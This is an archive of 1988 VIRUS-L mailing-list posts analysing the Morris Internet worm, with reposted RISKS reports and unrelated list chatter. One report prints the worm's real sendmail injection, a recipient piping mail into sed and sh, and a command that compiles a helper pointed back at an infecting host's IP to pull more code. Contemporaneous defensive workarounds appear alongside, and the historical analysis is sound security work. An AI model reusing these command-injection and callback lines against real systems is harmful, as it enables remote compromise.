Re Arpanet "Sendmail" Virus attack November 3, 1988

Hi Gang!

It's now 3:45 AM on Wednesday 3 November 1988.  I'm tired, so don't believe
everything that follows...

Apparently, there is a massive attack on Unix systems going on right now.

I have spoken to systems managers at several computers, on both the east
& west coast, and I suspect this may be a system wide problem.

Symptom:  hundreds or thousands of jobs start running on a Unix system
bringing response to zero.

Systems attacked:  Unix systems, 4.3BSD unix & variants (eg:  SUNs) any
sendmail compiled with debug has this problem.  See below.

This virus is spreading very quickly over the Milnet.  Within the past 4
hours, I have evidence that it has hit >10 sites across the country,
both Arpanet and Milnet sites.  I suspect that well over 50 sites have
been hit.  Most of these are "major" sites and gateways.


Method:

Apparently, someone has written a program that uses a hole in SMTP
Sendmail utility.  This utility can send a message into another program.

Step 1:  from a distant Milnet host, a message is sent to Sendmail
       to fire up SED, (SED is an editor)  This is possible in certain
       versions of sendmail (see below).

2:  A 99 line C program is sent to SED through Sendmail.

3:  The distant computer sends a command to compile this C program.

4:  Several object files are copied into the Unix computer.
        There are 3 files:  one targeted to Sun
                            one targeted to SUN-3
                            one targeted to vax    (ultrix probably, not vms)

5:  The C program accepts as address other Milnet sites

6:  Apparently, program scans for other Milnet/arpanet addresses and
     repeats this process.



The bug in Sendmail:

When the Unix 4.3 BSD version of Sendmail is compiled with the Debug
option, there's a hole in it.

Most Unix systems (BSD 4.3 and Suns) apparently do not have this bug.
It exists only where the system manager recompiled Sendmail and enabled
debugging.


This is bad news.

  Cliff Stoll dockmaster.arpa

------------------------------

Date: Thu, 03 Nov 88 09:52:18 EST
From: Gene Spafford <[e-mail]>
Subject: More on the virus
Organization: SERC, Department of Computer Sciences, Purdue Univ.

All of our Vaxen and some of our Suns here were infected with the virus.  The
virus forks repeated copies of itself as it tries to spread itself, and the
load averages on the infected machines skyrocketed.  In fact, it got to the
point that some of the machines ran out of swap space and kernel table entries,
preventing login to even see what was going on!

The virus seems to consist of two parts.  I managed to grab the source code for
one part, but not the main component (the virus cleans up after itself so as
not to leave evidence).  The way that it works is as follows:

1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and gets a shell.

2) The shell creates a file in /tmp named $$,l1.c (where the $$ gets replaced

by the current process id) and copies code for a "listener" or "helper"
program.  This is just a few dozen lines long and fairly generic code.  The
shell compiles this helper using the "cc" command local to the system.

3) The helper is invoked with arguments pointing back at the infecting
virus (giving hostid/socket/passwords as arguments).

4) The helper then connects to the "server" and copies a number of files
(presumably to /tmp).  After the files are copied, it exec's a shell with
standard input coming from the infecting virus program on the other end of the
socket.

From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:

5) The newly exec'd shell attempts to compile itself from the files copied over
to the target machine.  I'm not sure what else the virus does, if anything --
it may also be attempting to add a bogus passwd file entry or do something to
the file system.  The helper program has an array of 20 filenames for the
"helper" to copy over, so there is room to spare.  There are two versions
copied -- a version for Vax BSD and a version for SunOS; the appropriate one is
compiled.

6) The new virus is dispatched.  This virus opens all the virus source
files, then unlinks the files so they can't be found (since it has them
open, however, it can still access the contents).  Next, the virus
steps through the hosts file (on the Sun, it uses YP to step through
the distributed hosts file) trying to connect to other machines'
sendmail.  If a connection succeeds, it forks a child process to infect
it, while the parent continues to attempt infection of other machines.

7) The child requests and initializes a new socket, then builds and invokes a
listener with the new socket number and hostid as arguments (#1, above).

The heavy load we see is the result of multiple viruses coming in from multiple
sites.  Since local hosts files tend to have entries for other local hosts, the
virus tends to infect local machines multiple times -- in some senses this is
lucky since it helps prevent the spread of the virus as the local machines slow
down.

The virus also "cleans" up after itself.  If you reboot an infected machine (or
it crashes), the /tmp directory is normally cleaned up on reboot.  The other
incriminating files were already deleted by the virus itself.

Clever, nasty, and definitely anti-social.

--spaf

------------------------------

Date: Thu, 3 Nov 1988 14:27:22 PDT
From: Peter Neumann <[e-mail]>
Subject: More on the virus attack

Remember that the above are preliminary messages relating to an event in
progress.  There seem to be many unanswered questions.  Perhaps someone will
contribute a definitive report to the next issue of RISKS.

Examination of the code suggests a fairly sophisticated person writing
relatively high quality (although undocumented) code, exploiting several flaws
that exist(ed) on many UNIX systems, and written with considerable good
practice in self-checking, reliability, etc.  From the evidence thus far, I
would guess it that this was a deliberate attack, not an accidental experiment
run astray.

Although it was primarily a denial of service attack, it did some remarkable
things, taking advantage of many different approaches.  The spawned
processes appear to have been doing attacks on encrypted passwords to enable
ftps (in case the .rhost attack would not work -- cf. the Stanford breakins
described in CACM and SEN by Brian Reid).  Separate versions to run on Suns
and Vaxens were apparently propagated in DES encrypted form, decrypted, and
both programs tried to see which one would work.

We quoted Henry Petroski here over a year ago to the effect that we do not
learn from our successes, but that we have an opportunity to learn from our
failures.  Once again we are presented with the opportunity to learn that many
of our computer systems have serious security vulnerabilities, and that we need
to take pains to defend against the really malicious attacks.  Strangely some
people take heart in the fact that the security attacks to date (whether
penetrations, exploitations of privilege, Trojan horses, or legitimate viruses)
have been relatively modest in scale, perhaps to justify the absence of
concern.  I am afraid that it will take a Chernobyl- or Three-Mile-Island-like
disaster before the community at large wakes up.  PGN

------------------------------

Date: Thu, 3 Nov 88 16:32:25 EST
From: [e-mail] (Matt Bishop)
Subject: More on the virus

...  This program introduced itself through a bug in sendmail.  At these sites,
sendmail was compiled and installed with a debugging option turned on.  As near
as I can figure (I don't have access to the sendmail sources), by giving a
specific option to the "debug" command in sendmail (there are lots of those,
controlling what exactly you get information about) you can cause it to execute
a command.  As sendmail runs setuid to root, guess what privileges the command
is executed with.  Right.
   Apparently what the attacker did was this:  he or she connected to sendmail
(ie, telnet victim.machine 25), issued the appropriate debug command, and had
a small C program compiled.  (We have it.  Big deal.)  This program took
as an argument a host number, and copied two programs -- one ending in
q.vax.o and the other ending in .sun.o -- and tried to load and execute them.
In those cases where the load and execution succeeded, the worm did two things
(at least):  spawn a lot of shells that did nothing but clog the process table
and burn CPU cycles; look in two places -- the password file and the internet
services file -- for other sites it could connect to (this is hearsay, but I
don't doubt it for a minute.)  It used both individual .rhost files (which it
found using the password file), and any other remote hosts it could locate
which it had a chance of connecting to.  It may have done more; one of our
machines had a changed superuser password, but because of other factors we're
not sure this worm did it.
   This last part is still sketchy; I have the relevant sun.o file and will
take it apart to see just what it was supposed to do.  As of now, it appears
there was no serious damage (just wasted CPU cycles and system administrator
time).
   Two obvious points:
1.  Whoever did this picked only on suns and vaxen.  One site with a lot
    of IRISes and two Crays (ie, NASA Ames) got bit on their Suns and Vaxen,
    but the attempt to get the other machines didn't work.
2.  This shows the sorry state of software and security in the UNIX world.
    People should NEVER put a program with debugging hooks in it, especially
    when the hook is (or can be made) to execute an arbitrary command.  But
    that is how the sendmail which was used was distributed!
   One more interesting point:  initially, I thought an application of the
"principle of least privilege" would have prevented this penetration.  But
the attacker used a world-writeable directory to squirrel the relevant programs
in, so -- in effect -- everything could have been done by any user on the
system!  (Except the superuser password change, of course -- if this worm
did in fact do it.)
   I think the only way to prevent such an attack would have been to turn
off the deug option on sendmail; then the penetration would fail.  It goes to
show that if the computer is not secure (and like you, I don't believe there
ever will be such a beastie), there is simply no way to prevent a virus (or,
in this case, a worm) from getting into that system.
   I know this is somewhat sketchy, flabby, and fuzzy, but it's all I know
so far.  I'll keep you posted on developments ...

Matt

------------------------------
=========================================================================
Date:         Fri, 4 Nov 88 21:07:50 CST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         James Ford <JFORD1@UA1VM>
Subject:      TCPIP bug

This was taken from RISKS digest.  Its rather long, but I believe
its worthy of posting here.   If you get RISKS, then you can hit the
PURGE key fast.....  :-)

                      James
---------------------------------------------------------------------
Date: Fri, 04 Nov 88 00:27:54 EST
From: Gene Spafford <[e-mail]>
Subject: Updated worm report
Organization: SERC, Department of Computer Sciences, Purdue Univ.

This is an updated description of how the worm works (note: it is
technically a worm, not a virus, since it does not attach itself
to other code {that we know about}):

All of our Vaxen and some of our Suns here were infected with the worm.  The
worm forks repeated copies of itself as it tries to spread itself, and the load
averages on the infected machines skyrocketed.  In fact, it got to the point
that some of the machines ran out of swap space and kernel table entries,
preventing login to even see what was going on!

The worm seems to consist of two parts.  The way that it works is as
follows:

1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and submits a version
of itself as a mail message.
*OR* it uses rsh to create itself on the remote machine through
an account requiring no password (due to hosts.equiv or .rhosts
entries).  *OR* it gets in via a bug in fingerd *OR* it uses telnet
(more on this later).

Using the sendmail route, it does something like:
From: /dev/null
To: "|sed -e 1,/^$/d | sh; exit 0"

cd /usr/tmp
cat > x14481910.c <<'EOF'
<text of program deleted?
EOF
cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;rm -f x14481910
 x14481910.c


2) This program is a simple "listener" or "helper" program of about a hundred
lines of fairly simple code.  As you can see, the helper is invoked with
arguments pointing back at the infecting worm (giving hostid/socket/checksum(?)
as arguments).

3) The helper then connects to the "server" and copies a number of files
(presumably to /tmp).  After the files are copied, it exec's a shell with
standard input coming from the infecting worm program on the other end of the
socket.

From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:

4) The newly exec'd shell attempts to compile itself from the files copied over
to the target machine.  The command file it uses is as follows:

PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x%d
else
P=sh
cc -o $P %s
/bin/echo %s
./$P -p $$

5) This creates and dispatches the new worm..  This worm opens all the worm
source files, then unlinks the files so they can't be found (since it has them
open, however, it can still access the contents).  Next, the worm steps through
the hosts file (on the Sun, it uses YP to step through the distributed hosts
file) trying to connect to other machines' sendmail.  If a connection succeeds,
it forks a child process to infect it, while the parent continues to attempt
infection of other machines.

6) The child requests and initializes a new socket, then builds and invokes a
listener with the new socket number and hostid as arguments (#1, above).


Other notes:

The worm runs in stages.  It first collects info from the /etc/hosts files, the
hosts.equiv file, and other files containing host names and host IP addresses.
It even runs netstat to find out what networks the machine is attached to! It
uses this information to attempt to penetrate sendmail on those machines.  It
also knows how to penetrate "fingerd" on Vaxen (on Suns, the attempt results in
a core dump).  I will privately tell individuals how to fix the bug in fingerd,
but for now change it so it does not run as "root".

After this first stage, it appears to sleep for a while.  Then it starts
collecting user names and it begins probing with "rsh".  It also tries to
attack the passwords by trying a set of built-in words, the contents of
/usr/dict, and words snarfed from system files.  If it succeeds in breaking a
local password, it forks a child to use telnet to break into that account and
copy itself.

As I write this, no one seems to know what it is supposed to eventually do.
Perhaps it just breaks in everywhere it can.  We do know that if it doesn't
break into any accounts or systems for a while, it enters a mode where it tries
to break the root password via brute force searching.  We suspect that if it
succeeds it then does very nasty things.

Other notes:

The program corrupts its argument vector, so it appears in a "ps ax" as "(sh)"
(a login shell).  Don't trust any of these if you have them running.

The program doesn't copy around source files (except the helper) -- it copies
around pre-compiled binaries that are linked on the local machine and then run.
The worm appears to only be carrying binaries for 68020-based Suns and Vax 7xx
and 8800 machines.  Pyramids, Sun 2's and Sequents are all definitely immune.
(Note: an infected 8800 is an awesome engine of contagion.)

The strings in the binaries are encrypted against a random "strings"
invocation.  If you have a binary, Keith Bostic informs me that Xor with 0x81
will reveal interesting things, although that is not the only mask used.

The first observation of the virus I have heard about was 6pm Wednesday night
in Pittsburgh.  It didn't hit Purdue until about 4 this morning.  We were lucky
in that other sites, like CMU and Princeton, were hit around 11 last night.


Acknowledgements:  Some of the above information was obtained from
Brian Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue), Dan
Trinkle (Purdue), Kevin Braunsdorf (Purdue) and Miek Rowan (Purdue).
Thanks, guys.

------------------------------

Date: Thu, 03 Nov 88 21:20:10 EST
From: Gene Spafford <[e-mail]>
Subject: A worm "condom"
Organization: SERC, Department of Computer Sciences, Purdue Univ.

... Kevin Braunsdorf & Rich Kulawiec (Purdue-CC) have come up with a "condom"
to protect your machine against the CURRENT worm.  They are not 100% sure it
works, but it seems to be completely effective and it can't do any harm.  As
ROOT, do:

mkdir /usr/tmp/sh
chmod 111 /usr/tmp/sh

Then edit your rc.local file to recreate the directory in case of a reboot.
This will not stop a current infection, but it will prevent any new ones
from taking hold -- it prevents the worm from creating replicas.

... --spaf

------------------------------

Date: Thu, 03 Nov 88 22:04:15 EST
From: Gene Spafford <[e-mail]>
Subject: A cure!!!!!
Organization: SERC, Department of Computer Sciences, Purdue Univ.

FLASH!!

Kevin ("Adb's your friend.") Braunsdorf just burst into my office
with a cure discovered in the disassembled worm binary.

If there is an external variable in the library named "pleasequit" that is
non-zero, the worm will die immediately after exiting.  Thus, to kill any new
worms, include a patch in your library that defines the symbol.  The following
shell file and source code will modify your C library to define this symbol.

It WON'T kill any currently linked and running versions, but it will
prevent reinfection.


# Shar archive.  Give the following as input to /bin/sh
#  Packed Thu Nov  3 21:56:35 EST 1988 by [e-mail]
#
#  This archive contains:
#    foo.sh
#    foo.c
#
#
echo x - foo.sh
sed 's/^X//' >foo.sh <<'*-*-END-of-foo.sh-*-*'
Xcc -c foo.c -o foo.o
Xcp /lib/libc.a /lib/libc.a.old
Xar q /lib/libc.a foo.o
Xranlib /lib/libc.a
*-*-END-of-foo.sh-*-*
echo x - foo.c
sed 's/^X//' >foo.c <<'*-*-END-of-foo.c-*-*'
Xextern int pleasequit = -1;
*-*-END-of-foo.c-*-*
exit
=========================================================================
Date:         Sat, 5 Nov 88 11:07:56 EDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Jean Coppola <SSAT@PACEVM>
Subject:      Re: Anti-Viral Software
In-Reply-To:  Message of Mon, 31 Oct 88 00:23:41 EST from <DAB3@LEHIGH>

That would be a good idea to have it on the LISTSERV.
Also could someone explain how the UUxx programs work?
=========================================================================
Date:         Sat, 5 Nov 88 11:14:35 EDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         SSAT@PACEVM
Subject:      Re: Debrain.exe
In-Reply-To:  Message of Mon, 31 Oct 88 10:23:02 EST from <SHERK@UMDD>

For those of us new to this, how do i get a file from umd5.umd.edu
over Bitnet?
=========================================================================
Date:         Sat, 5 Nov 88 12:17:40 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "David A. Bader" <DAB3@LEHIGH>
Subject:      UUxxx files on the Listser

Since Bitnet mail can only transfer data as ascii, and not as binary,
there needs to be a method to send someone a binary file over Bitnet.
UUxxxs turn a binary file into a cryptic ascii file for this purpose.
The source code for UUENCODE (the sender's encoding program) and
UUDECODE (the receiver's decoding program) are readily available over
this Listserv and many other houses of public domain software.  For
using the particular version of UUENCODE or UUDECODE, you would have to
check the docs for that particular version.

          David Bader
          DAB3@LEHIGH
=========================================================================
Date:         Sat, 5 Nov 88 12:21:00 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Jim Shaffer <SHAFFERJ@BKNLVMS>
Subject:      Re: Debrain.exe

>For those of us new to this, how do i get a file from umd5.umd.edu
>over Bitnet?

You don't.

* FLAME ON *
Bitnet is utterly incapable of supporting FTP, due to someone's decision
to ignore the well-established TCP/IP protocol way back when Bitnet was
founded.  I'm sure there was a good reason for this at the time (probably
money), but it makes us look like fools today and I'm sick and tired of it.
* FLAME OFF *

=========================================================================
Date:         Sat, 5 Nov 88 12:32:31 EDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         SSAT@PACEVM
Subject:      Re: Debrain.exe
In-Reply-To:  Message of Sat, 5 Nov 88 12:21:00 EST from <SHAFFERJ@BKNLVMS>

Great so how does someone go about requesting debrain.exe from umd5.umd.edu
=========================================================================
Date:         Sat, 5 Nov 88 12:35:36 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         ENGNBSC@BUACCA
Subject:      Re: debrain.exe & ftp...


>You don't.

Not necessarily.  BITNet access does not preclude Internet access!
Basically, you have to find yourself a ftp-capable site (perhaps
even your own), and go get it - just log in as anonymous.

>good reason at the time (probably money)...

You're right - BITNet was (and in places still IS) a string of
modems talking back and forth.  In the early days, most of these
links were 1200 baud modems...  Primitive, yes - but (when the
links are up :-( it gets the job done.  So you can't ftp over
it - with the instability of some of my favorite links, I really
wouldn't want to think about ftp...  besides, how would you like
to try to slurp a *REALLY* big file through a 1200 baud modem
with BITNet mail buildind up on either side of it??  No thanks.


Bruce Howells, [e-mail] / [e-mail]
 - The opinions expressed above are mine, and do not necessarily
   represent those of Boston University, nor anyone else...
=========================================================================
Date:         Sat, 5 Nov 88 10:53:00 MST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Bernie <BSWIESER@UNCAMULT>
Subject:      Re: Anybody home?
In-Reply-To:  Message of 2 Nov 88 07:28 MST from "Robert Slade"

Odd, I'm getting a whole bunch.  In our local newspaper, "Computer virus
wreaks U.S.  chaos" hit the print.  Greg LYPOWY was telling me this was
an SMTP virus.  Anybody have any info.  on this?  I can't really think
of how this one would work, but Greg says it logs into SMTP and get's
into a debug shell "?" and continues to trash the system.  So much for
no virus that can go between machines!  I does't sorta' make sense.
Some systems SMTP is just a dummy account that runs something to handle
sendmail.  The one here used to be so stupid as to have no password and
anyone could just control-c out of it before it ran the program.  I
gather if this virus were to then 'upload' some C code, compile it,
propagate and kill itself, that would work.  Then it wouldn't have to be
machine dependant.  BUT whoever wrote such a thing is not your average
"cracker" or "hacker".  I'd say a scientist with a venagence.  Just goes
to show admin.  is stupid for not allowing research on this topic.
They're leaving themselves and the real world open for all sorts of
problems....  Just like environmental issues....  If there's a problem,
ignore it, it'll just go away....  ha.
=========================================================================
Date:         Sat, 5 Nov 88 13:13:36 EDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Jean Coppola <SSAT@PACEVM>
Subject:      DEBRAIN.EXE

Can anyone tell me where DEBRAIN.EXE resides on Bitnet where it can
be requested from?
=========================================================================
Date:         Sat, 5 Nov 88 14:18:54 EDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         SSAT@PACEVM

In a round about way I found an interesting situation.
Vfeature Deluxe from Golden Bow is for partitioning disks. However it
has a security feature called mount. When you password protect a drive
you must mount it before it can be used.

However even when mounted correctly, Vfeature stops low level writes
to the mounted drive, such as trying to use Fastback to restore files
to the drive.

I think this bears out more investigation. This might be a way to
protect a drive?
=========================================================================
Date:         Sat, 5 Nov 88 14:48:16 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "David A. Bader" <DAB3@LEHIGH>
Subject:      Vfeature

I did not quite understand what exactly this "Vfeature" is or does. If
it is software, however, wouldn't there have to be another way with
software (e.g. a virus) to get around it?

    David Bader
    DAB3@LEHIGH
=========================================================================
Date:         Sat, 5 Nov 88 16:12:00 MST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         LYPOWY@UNCAMULT
Subject:      MILNET/ARPANET Virus


With the latest rumors of a virus bringing ARPANET and MILNET to their
knees, I thought it would be prudent for you all to see this from the
latest Risks digest:

RISKS-LIST:  RISKS-FORUM Digest Thursday 3 November 1988 Volume 7 :
Issue 69

----------------------------------------------------------------------

Date:  Thu, 3 Nov 88 06:46 EST From:  [e-mail] Subject:
Virus on the Arpanet - Milnet

Re Arpanet "Sendmail" Virus attack November 3, 1988

Hi Gang!

It's now 3:45 AM on Wednesday 3 November 1988.  I'm tired, so don't
believe everything that follows...

Apparently, there is a massive attack on Unix systems going on right
now.

I have spoken to systems managers at several computers, on both the east
& west coast, and I suspect this may be a system wide problem.

Symptom:  hundreds or thousands of jobs start running on a Unix system
bringing response to zero.

Systems attacked:  Unix systems, 4.3BSD unix & variants (eg:  SUNs) any
sendmail compiled with debug has this problem.  See below.

This virus is spreading very quickly over the Milnet.  Within the past 4
hours, I have evidence that it has hit >10 sites across the country,
both Arpanet and Milnet sites.  I suspect that well over 50 sites have
been hit.  Most of these are "major" sites and gateways.


Method:

Apparently, someone has written a program that uses a hole in SMTP
Sendmail utility.  This utility can send a message into another program.

Step 1:  from a distant Milnet host, a message is sent to Sendmail
       to fire up SED, (SED is an editor)  This is possible in certain
       versions of sendmail (see below).

2:  A 99 line C program is sent to SED through Sendmail.

3:  The distant computer sends a command to compile this C program.

4:  Several object files are copied into the Unix computer.
        There are 3 files:  one targeted to Sun
                            one targeted to SUN-3
                            one targeted to vax    (ultrix probably, not vms)

5:  The C program accepts as address other Milnet sites

6:  Apparently, program scans for other Milnet/arpanet addresses and
     repeats this process.



The bug in Sendmail:

When the Unix 4.3 BSD version of Sendmail is compiled with the Debug
option, there's a hole in it.

Most Unix systems (BSD 4.3 and Suns) apparently do not have this bug.
It exists only where the system manager recompiled Sendmail and enabled
debugging.


This is bad news.

  Cliff Stoll dockmaster.arpa

------------------------------

Date:  Thu, 03 Nov 88 09:52:18 EST From:  Gene Spafford
<[e-mail]> Subject:  More on the virus Organization:  SERC,
Department of Computer Sciences, Purdue Univ.

All of our Vaxen and some of our Suns here were infected with the virus.
The virus forks repeated copies of itself as it tries to spread itself,
and the load averages on the infected machines skyrocketed.  In fact, it
got to the point that some of the machines ran out of swap space and
kernel table entries, preventing login to even see what was going on!

The virus seems to consist of two parts.  I managed to grab the source
code for one part, but not the main component (the virus cleans up after
itself so as not to leave evidence).  The way that it works is as
follows:

1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and gets a shell.

2) The shell creates a file in /tmp named $$,l1.c (where the $$ gets
replaced

by the current process id) and copies code for a "listener" or "helper"
program.  This is just a few dozen lines long and fairly generic code.
The shell compiles this helper using the "cc" command local to the
system.

3) The helper is invoked with arguments pointing back at the infecting
virus (giving hostid/socket/passwords as arguments).

4) The helper then connects to the "server" and copies a number of files
(presumably to /tmp).  After the files are copied, it exec's a shell
with standard input coming from the infecting virus program on the other
end of the socket.

From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:

5) The newly exec'd shell attempts to compile itself from the files
copied over to the target machine.  I'm not sure what else the virus
does, if anything -- it may also be attempting to add a bogus passwd
file entry or do something to the file system.  The helper program has
an array of 20 filenames for the "helper" to copy over, so there is room
to spare.  There are two versions copied -- a version for Vax BSD and a
version for SunOS; the appropriate one is compiled.

6) The new virus is dispatched.  This virus opens all the virus source
files, then unlinks the files so they can't be found (since it has them
open, however, it can still access the contents).  Next, the virus steps
through the hosts file (on the Sun, it uses YP to step through the
distributed hosts file) trying to connect to other machines' sendmail.
If a connection succeeds, it forks a child process to infect it, while
the parent continues to attempt infection of other machines.

7) The child requests and initializes a new socket, then builds and
invokes a listener with the new socket number and hostid as arguments
(#1, above).

The heavy load we see is the result of multiple viruses coming in from
multiple sites.  Since local hosts files tend to have entries for other
local hosts, the virus tends to infect local machines multiple times --
in some senses this is lucky since it helps prevent the spread of the
virus as the local machines slow down.

The virus also "cleans" up after itself.  If you reboot an infected
machine (or it crashes), the /tmp directory is normally cleaned up on
reboot.  The other incriminating files were already deleted by the virus
itself.

Clever, nasty, and definitely anti-social.

--spaf

------------------------------

Date:  Thu, 3 Nov 1988 14:27:22 PDT From:  Peter Neumann
<[e-mail]> Subject:  More on the virus attack

Remember that the above are preliminary messages relating to an event in
progress.  There seem to be many unanswered questions.  Perhaps someone
will contribute a definitive report to the next issue of RISKS.

Examination of the code suggests a fairly sophisticated person writing
relatively high quality (although undocumented) code, exploiting several
flaws that exist(ed) on many UNIX systems, and written with considerable
good practice in self-checking, reliability, etc.  From the evidence
thus far, I would guess it that this was a deliberate attack, not an
accidental experiment run astray.

Although it was primarily a denial of service attack, it did some
remarkable things, taking advantage of many different approaches.  The
spawned processes appear to have been doing attacks on encrypted
passwords to enable ftps (in case the .rhost attack would not work --
cf.  the Stanford breakins described in CACM and SEN by Brian Reid).
Separate versions to run on Suns and Vaxens were apparently propagated
in DES encrypted form, decrypted, and both programs tried to see which
one would work.

We quoted Henry Petroski here over a year ago to the effect that we do
not learn from our successes, but that we have an opportunity to learn
from our failures.  Once again we are presented with the opportunity to
learn that many of our computer systems have serious security
vulnerabilities, and that we need to take pains to defend against the
really malicious attacks.  Strangely some people take heart in the fact
that the security attacks to date (whether penetrations, exploitations
of privilege, Trojan horses, or legitimate viruses) have been relatively
modest in scale, perhaps to justify the absence of concern.  I am afraid
that it will take a Chernobyl- or Three-Mile-Island-like disaster before
the community at large wakes up.  PGN

------------------------------

Date:  Thu, 3 Nov 88 16:32:25 EST From:  [e-mail] (Matt
Bishop) Subject:  More on the virus

...  This program introduced itself through a bug in sendmail.  At these
sites, sendmail was compiled and installed with a debugging option
turned on.  As near as I can figure (I don't have access to the sendmail
sources), by giving a specific option to the "debug" command in sendmail
(there are lots of those, controlling what exactly you get information
about) you can cause it to execute a command.  As sendmail runs setuid
to root, guess what privileges the command is executed with.  Right.
   Apparently what the attacker did was this:  he or she connected to
sendmail (ie, telnet victim.machine 25), issued the appropriate debug
command, and had a small C program compiled.  (We have it.  Big deal.)
This program took as an argument a host number, and copied two programs
-- one ending in q.vax.o and the other ending in .sun.o -- and tried to
load and execute them.  In those cases where the load and execution
succeeded, the worm did two things (at least):  spawn a lot of shells
that did nothing but clog the process table and burn CPU cycles; look in
two places -- the password file and the internet services file -- for
other sites it could connect to (this is hearsay, but I don't doubt it
for a minute.)  It used both individual .rhost files (which it found
using the password file), and any other remote hosts it could locate
which it had a chance of connecting to.  It may have done more; one of
our machines had a changed superuser password, but because of other
factors we're not sure this worm did it.
   This last part is still sketchy; I have the relevant sun.o file and
will take it apart to see just what it was supposed to do.  As of now,
it appears there was no serious damage (just wasted CPU cycles and
system administrator time).
   Two obvious points:  1.  Whoever did this picked only on suns and
vaxen.  One site with a lot
    of IRISes and two Crays (ie, NASA Ames) got bit on their Suns and Vaxen,
    but the attempt to get the other machines didn't work.  2.  This
shows the sorry state of software and security in the UNIX world.
    People should NEVER put a program with debugging hooks in it, especially
    when the hook is (or can be made) to execute an arbitrary command.  But
    that is how the sendmail which was used was distributed!
   One more interesting point:  initially, I thought an application of
the "principle of least privilege" would have prevented this
penetration.  But the attacker used a world-writeable directory to
squirrel the relevant programs in, so -- in effect -- everything could
have been done by any user on the system!  (Except the superuser
password change, of course -- if this worm did in fact do it.)
   I think the only way to prevent such an attack would have been to
turn off the deug option on sendmail; then the penetration would fail.
It goes to show that if the computer is not secure (and like you, I
don't believe there ever will be such a beastie), there is simply no way
to prevent a virus (or, in this case, a worm) from getting into that
system.
   I know this is somewhat sketchy, flabby, and fuzzy, but it's all I
know so far.  I'll keep you posted on developments ...

Matt

===============================================================================

                    Greg Lypowy

P.S.  Chris Haller, what have things been like at Cornell (where this
'virus' is purported to have emanated??

P.P.S.  To You All -- Is this a true virus or could we better define it
as a
          worm??
=========================================================================
Date:         Sat, 5 Nov 88 21:39:33 CDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Len Levine <[e-mail]>
Subject:      Re: comments on EEV vs FEV
In-Reply-To:  Message from "Ken van Wyk" of Nov 3, 88 at 10:02 am

The point I was trying to make with the FEV and the EEV was that the
fix for an EEV is to fix a problem.  The fix for an FEV is to remove
the feature, or live with the virus.

As an example, the recent UNIX virus depended in one respect on a
Feature of the sendmail program (debug) and not on an error.  The
debug feature was to powerful to leave in the system, UNIX worked just
like it should have and the virus got into the system.

+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| Leonard P. Levine               e-mail [e-mail] |
| Professor, Computer Science             Office [phone] |
| University of Wisconsin-Milwaukee       Home   [phone] |
| Milwaukee, WI 53201 U.S.A.              Modem  [phone] |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
=========================================================================
Date:         Sat, 5 Nov 88 22:48:41 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         James Paterson <ACDJAMES@UOGUELPH>
In-Reply-To:  Message of Thu,
              3 Nov 88 13:01:00 CST from <[e-mail]>

From what I have seen of OS/2, it does not allow application programs
direct access to memory.  All requests are routed, and there is virtual
addressing capabilites.  I have read (In a book written by the development
team) that the virtual addressing is automatic, and should be completely
transparent to applications written for the operating system.

This could provide some protection against viruses, but the operating
system would have to make sure that the application would not alter
the exe file, which I don't think it monitors.

James Paterson
(ACDJAMES@UOGUELPH)
=========================================================================
Date:         Sun, 6 Nov 88 09:48:25 +0200
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Ittai Klein <MLKLEIN@WEIZMANN>
Subject:      getting out

someone please tell me  the command I have to type to signoff
of this newsletter
=========================================================================
Date:         Sun, 6 Nov 88 13:18:25 GMT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         [e-mail]

The unix sendmail virus got several columns in the SUnday Times newspaper
here in Britain.
They claimed that in was caused by a 23 year old student at Cornell
University.
The also said that the virus was incapable of spreading to the janet
network used in the UK due to "minor technical differences".
Any comments on the second part?

